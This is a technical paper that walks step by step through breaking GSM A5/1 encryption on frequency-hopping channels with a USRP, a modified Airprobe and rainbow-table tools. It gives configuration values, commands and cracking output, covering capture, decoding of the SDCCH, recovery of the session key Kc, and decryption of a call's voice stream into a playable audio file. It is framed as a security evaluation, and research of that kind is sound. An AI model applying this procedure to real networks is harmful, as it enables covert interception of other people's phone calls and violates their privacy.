Evaluating GSM A5/1 security on hopping channels

Bogdan Diaconescu
v1.2

This paper is a practical approach on evaluating A5/1 stream cipher on a GSM hopping network air interface called Um. The end goal is to evaluate how easy is to break A5/1 with COTS hardware and open source software.

What this paper is NOT about: a full description of GSM standard and A5/1 stream cipher.

About GSM hopping channels.

This work is based on the previous work that resulted in Airprobe being able to decode the GSM logical channels when a capture of IQ data is provided for a specific ARFCN. We modified Airprobe to support hopping channels by taking IQ data samples from files corresponding to each ARFCN of interest.

GSM slow frequency hopping is intended to reduce the adjacent cells interference by switching between a set of ARFCNs that are orthogonal to the set used by own cell. The whole set of ARFCNs used by the cell is broadcast by BTS on BCCH channel in SI Type 1 message and the hopping parameters are sent from BTS to MS in an RR Immediate assignment message.

Method used for frequency hopping:
1. Capture spectrum so that all the needed ARFCNs for hopping will be included into the bandwidth.
2. Channelize and downsample the spectrum in order to obtain a data stream for each needed ARFCN. A PFB (Poliphase Filter Bank) is used for that.
3. Identify your call and in turn identify the hopping parameters.
4. Feed the modified gsm-receiver from airprobe with the hopping parameters.
5. Run the same steps as in the case of non hopping cell. For traffic channel there could be a different set of hopping parameters.

Prerequisites: Use USRP N210 or USRP2 from Ettus. For this work USRP N210 has been used. It can acquire 25Mhz bandwidth from the spectrum without any FPGA changes or other software changes on PC.

Step 1: Capture the data on the main ARFCN
The main ARFCN for the cell would be the one with them maximum signal strength and this can be determined with kal tool [Ref 4]

sudo kal -s GSM900
kal: Scanning for GSM-900 base stations.
    chan: 33 (941.6MHz + 234Hz)   power: 10791.92

Therefore I have my main cell physical channel on ARFCN 33 and in turn the parameters for the engine needs to be set in *capture_decode_channelize2.sh*:

CONFIGURATION="0B"
CA="33"
C0="33"
MA="01"   # This needs to be less or equal than the number of channels in CA

./capture_decode_channelize2.sh > out.txt will produce the data streams for channel 33 and output of decoded messages in Wireshark.

Step 2: Get all CA channels and determine cell hopping parameters for the call

Determine Cell Allocation(CA) from System Information Type 1: 12 22 33 42 49 54

```
 File  Edit  View  Go  Capture  Analyze  Statistics  Telephony  Tools  Internals  Help

 Filter:                                          ▲▼  Expression...  Clear  Apply  Save

 No.  Time         Source      Destination  Protocol  Length  Info
 120  2.738997000  127.0.0.1   127.0.0.1    GSMTAP        81  (CCCH) (RR) Paging Request Type 1
 121  2.766104000  127.0.0.1   127.0.0.1    GSMTAP        81  (CCCH) (RR) Paging Request Type 1
 122  2.784147000  127.0.0.1   127.0.0.1    GSMTAP        81  (CCCH) (RR) Paging Request Type 1
 123  2.815724000  127.0.0.1   127.0.0.1    GSMTAP        81  (CCCH) (RR) System Information Type 1
 124  2.833770000  127.0.0.1   127.0.0.1    GSMTAP        81  (CCCH) (RR) System Information Type 13
 125  2.860876000  127.0.0.1   127.0.0.1    GSMTAP        81  (CCCH) (RR) Paging Request Type 1

    ..00 0000 0000 0000 = ARFCN: 0
    .0.. .... .... .... = Uplink: 0
    Signal/Noise Ratio (dB): 0
    Signal Level (dBm): 0
    GSM Frame Number: 640565
    Channel Type: BCCH (1)
    Antenna Number: 0
    Sub-Slot: 0
 ▼ GSM CCCH - System Information Type 1
  ▶ L2 Pseudo Length
  ▶ Protocol Discriminator: Radio Resources Management messages
    Message Type: System Information Type 1
  ▼ Cell Channel Description
      00.. 000. = Format Identifier: bit map 0 (0x00)
      List of ARFCNs = 54 49 42 33 22 12
  ▶ RACH Control Parameters
  ▶ SI 1 Rest Octets

 0000  00 00 00 00 00 00 00 00  00 00 00 00 08 00 45 00   ........ ......E.
 0010  00 43 46 7e 40 00 40 11  f6 29 7f 00 00 01 7f 00   .CF~@.@. .)......
 0020  00 01 9f 40 12 79 00 2f  fe 42 02 04 01 00 00 00   ...@.y./ .B......
 0030  00 00 00 09 c6 35 01 00  00 00 55 06 19 00 00 00   .....5.. ..U.....

 ○ <live capture in progress> File: /t...  ≡ Packets: 541 Displ... ≡ Profile: Default
```

Then next step is to determine SDCCH channel Timeslot and hopping parameters from Immediate Assignment message: channel Timeslot=1; Subchannel=0; MAIO=0; HSN=2; MA=07
Now run again the script in order to obtain all channels:

```
CONFIGURATION="0B"                # Timeslot 1
CA="12 22 33 42 49 54"            # Cell Allocation in increasing order
C0="33"                           # C0 ARFCN
MA="07"                           # Mobile Allocation – ARFCNs used for this channel
```

```
MAIO=0                               # Mobile Allocation Index Offset
HSN=2                                # Hopping Sequence Number
KEY="00 00 00 00 00 00 00 00"
```

./capture_decode_channelize2.sh > out.txt

File	Edit	View	Go	Capture	Analyze	Statistics	Telephony	Tools	Internals	Help

Filter: [   ] ↕ Expression... Clear Apply Save

No.	Time	Source	Destination	Protocol	Length	Info
147	3.366545000	127.0.0.1	127.0.0.1	GSMTAP	81	(CCCH) (RR) Immediate Assignment
148	3.384593000	127.0.0.1	127.0.0.1	GSMTAP	81	(CCCH) (RR) Paging Request Type 1
149	3.411709000	127.0.0.1	127.0.0.1	GSMTAP	81	(CCCH) (RR) Immediate Assignment
150	3.429758000	127.0.0.1	127.0.0.1	GSMTAP	81	(CCCH) (RR) Paging Request Type 1
151	3.456874000	127.0.0.1	127.0.0.1	GSMTAP	81	(CCCH) (RR) Paging Request Type 1
152	3.474932000	127.0.0.1	127.0.0.1	GSMTAP	81	(CCCH) (RR) Paging Request Type 1

```
 ▶ Protocol Discriminator: Radio Resources Management messages
   Message Type: Immediate Assignment
 ▶ Page Mode
 ▶ Dedicated mode or TBF
 ▼ Channel Description
     0100 0... = SDCCH/8 + SACCH/C8 or CBCH (SDCCH/8), Subchannel 0
     .... .001 = Timeslot: 1
     110. .... = Training Sequence: 6
     ...1 .... = Hopping channel: Yes
     Hopping channel: MAIO 0
     Hopping channel: HSN 2
 ▶ Request Reference
 ▶ Timing Advance
 ▼ Mobile Allocation
     Length: 1
     Bitmap of increasing ARFCNs included in the Mobile Allocation: 11100000
 ▶ IA Rest Octets
```

```
0030  00 00 00 09 c6 af 02 00  00 00 31 06 3f 00 41 d0   ........ ..1.?.A.
0040  02 f2 18 79 01 01 07 2b  2b 2b 2b 2b 2b 2b 2b 2b   ...y...+ ++++++++
0050  2b                                                 +
```

◯ Text item (text), 1 byte   ≡ Packets: 541 Displ... ≡ Profile: Default

Step 3: Decode the SDCCH channel

```
CONFIGURATION="1S"                # Timeslot 1
CA="12 22 33 42 49 54"            # Cell Allocation in increasing order
C0="33"                           # C0 ARFCN
MA="07"                           # Mobile Allocation – ARFCNs used for this channel
MAIO=0                            # Mobile Allocation Index Offset
HSN=2                             # Hopping Sequence Number
KEY="00 00 00 00 00 00 00 00"     # KC – zero for now
```

./capture_decode_channelize2.sh > out.txt

will produce Wireshark data for the frames that can be decoded and the rest of the data in out.txt.

Note: gsm-receiver will produce output for all the sub-slots currently on the SDCCH so it will be useful to filter the messages in Wireshark based on the known sub-slot from the Immediate Assignment command. In our case the sub-slot value is 0.

```
File  Edit  View  Go  Capture  Analyze  Statistics  Telephony  Tools  Internals  Help

Filter:  gsmtap.sub_slot==0          ⬍  Expression...  Clear  Apply  Save

No.  Time            Protocol  Length  Info
  9  3.430269000  LAPDm        81  U, func=UI(DTAP) (RR) System Information Type 6
 10  3.517773000  LAPDm        81  U, func=UI
 12  3.753124000  LAPDm        81  U F, func=UA(DTAP) (MM) CM Service Request
 13  3.901189000  LAPDm        81  U, func=UI(DTAP) (RR) System Information Type 5
 15  3.989026000  LAPDm        81  I, N(R)=1, N(S)=0(DTAP) (RR) Classmark Enquiry
 17  4.225851000  LAPDm        81  I, N(R)=1, N(S)=1(DTAP) (MM) Authentication Request
 18  4.374474000  LAPDm        81  U, func=UI(DTAP) (RR) System Information Type 5ter
 22  4.697638000  LAPDm        81  S, func=RR, N(R)=3
 26  4.845566000  LAPDm        81  U, func=UI(DTAP) (RR) System Information Type 6
 29  4.933395000  LAPDm        81  I, N(R)=3, N(S)=2(DTAP) (RR) Ciphering Mode Command

  .0.. .... .... .... = Uplink: 0
  Signal/Noise Ratio (dB): 0
  Signal Level (dBm): 0
  GSM Frame Number: 640697
  Channel Type: SACCH/8 (136)
  Antenna Number: 0
  Sub-Slot: 0
▼ SACCH L1 Header, Power Level: 5, Timing Advance: 1
  ...0 0101 = MS power level: 5
  .... .1.. = FPC: In use
  Actual Timing Advance: 1
▶ Link Access Procedure, Channel Dm (LAPDm)
▶ GSM A-I/F DTAP - System Information Type 6

0030  00 00 00 09 c6 b9 88 00   00 00 05 01 03 03 2d 06   ........ .....-.
0040  1e 81 a7 22 f6 10 2b 83   93 ff 2b 2b 2b 2b 2b 2b   ..."..+. ..++++++
0050  2b                                                   +

◯ GSM Radiotap (gsmtap), 2 bytes   ≡ Packets: 96 Displa...≡ Profile: Default
```

The RR Ciphering Mode Command is the last message sent in clear text before the encryption is enabled. The encrypted bursts are to be found in out.txt in the form

Cx 488134 754090:
0111000110001101110001110001110001100011100010110001110011110000101001111010101010101...
Px 488134 754090:
0111000110001101110001110001110001100011100010110001110011110000101001111010101010101...
Sx 488134 754090:

0000000000000000000000000000000000000000000000000000000000000000000000000000...

where Cx is the cipher text bits, Px is the plain text bits and Sx is cipher stream. If x==1 then the burst in question is the first burst from the 4 ones that make up a frame.

Step 4: Finding Kc

The procedure used to find Kc based on rainbow tables can be found here [Ref 5]. The general idea is to know a plain text together with it's position inside cipher text stream. In our case it can be System Information Type 5, System Information Type 5Ter, System Information Type 6 or any other known messages.

These messages are usually sent at fixed intervals and based on this information one can guess the frame numbers where message supposed to be in the crypted stream.

Suppose you have the known plain-text at frame number 641105, it actually is all over four frames: 641102, 641103, 641104, 641105:

If you know what is the plain-text message there then use gsmframecoder to generate the four bursts that make up the message:

./gsmframecoder message → burst1 burst 2 burst 3 burst4

Then use xor.py to generate the cipher stream:
xor.py C1 burst1   → results rs1
xor.py C0 burst2   → results rs2
xor.py C0 burst3   → results rs3
xor.py C0 burst0   → results rs4

Then use the result from the xor operations as input to crack tool:

crack rs1
crack rs2
crack rs3
crack rs4

In my specific case I get something on third burst: Found ccc6de6b6e3d3bb0 @ 22 #7 (table:250)

Then use find_kc to actually determine the Kc:

./find_kc ccc6de6b6e3d3bb0 22 754765
Found potential key (bits: 22)####
251f71485a37e2af -> 251f71485a37e2af
Framecount is 754765
KC(0): 2f ce 35 dc 3e 09 20 3c mismatch
...
KC(30): 49 b2 90 6c 98 5f ce 2b mismatch
KC(31): 88 0b 84 cd 8f 24 74 00 mismatch

If there is another frame known then find_kc can match the exact Kc from the list above:

./find_kc ccc6de6b6e3d3bb0 22 754765 754798

1000101101010000010100110011010110010011000100010001111100101000001011111110100010010100011
101101001000010000011001

Found potential key (bits: 22)####

251f71485a37e2af -> 251f71485a37e2af

Framecount is 754765

KC(0): 2f ce 35 dc 3e 09 20 3c mismatch

...

KC(30): 49 b2 90 6c 98 5f ce 2b mismatch

KC(31): 88 0b 84 cd 8f 24 74 00 *** MATCHED ***

Now changing the KEY="00 00 00 00 00 00 00 00" to KEY="88 0b 84 cd 8f 24 74 00" and running again *./capture_decode_channelize2.sh > out.txt* will reveal the messages on SDCCH after the ciphering started:

From the decrypted SDCCH channel it is easy to observe the Assignment Command that is sent by the BTS to MS in order to assign the traffic channel. The important parameters are traffic channel Timeslot and hopping parameters for the traffic channel.

Note: the traffic channel can have different hopping parameters than SDCCH channel. Although the MA in this case is the same, it can be quite different than the MA used in the SDCCH channel.

Step 3: Decode the traffic channel

The saga continues with another run of *./capture_decode_channelize2.sh > out.txt.* This is necessary to decode the traffic channel and obtain the audio stream and the configuration is presented below. One could also see in Wireshark the SI messages sent on the FACCH channel that share the same Timeslot with TCH.

```
CONFIGURATION="7T"                      # Timeslot 7 for traffic
CA="12 22 33 42 49 54"                  # Cell Allocation in increasing order
C0="33"                                 # C0 ARFCN
MA="07"                                 # Mobile Allocation
MAIO=2                                  # Mobile Allocation Index Offset
HSN=2                                   # Hopping Sequence Number
KEY="88 0b 84 cd 8f 24 74 00"           # KC
```

At this moment the voice stream will be found in speech.au.gsm file that can be listen with the following:

```
untoast speech.au.gsm
mplayer speech.au              # or other player
```

Conclusion:

1. The security of the GSM hopping channels is at the same level with the security of the non hopping channels, the only difference an attacker will encounter being the computing and storage resources needed to channelize and produce the data for each ARFCN.

2. We observed a very rapid degrading of the ability of Airprobe to correctly decode the GSM messages when the overall SNR degrades under -60dB for C0 channel, making necessary for a better demodulator.

3. The L1 header of the known plaintext (SI message) could change in both MS power level when FPC is in use and Timing Advance when MS is moving. Therefore some prediction is necessary to be used in

order to correctly guess the known plain text.

References:

1. **Airprobe git:** git://git.gnumonks.org/airprobe.git
2. **Hopping channels description GSM 05.02 chapter 6**
3. https://srlabs.de/decrypting_gsm/
4. **Kal tool git:** git://github.com/ttsou/kalibrate-uhd.git
5. https://lists.srlabs.de/pipermail/a51/2010-July/000688.html
6. **Airprobe-hopping.git: https://github.com/BogdanDIA/airprobe-hopping**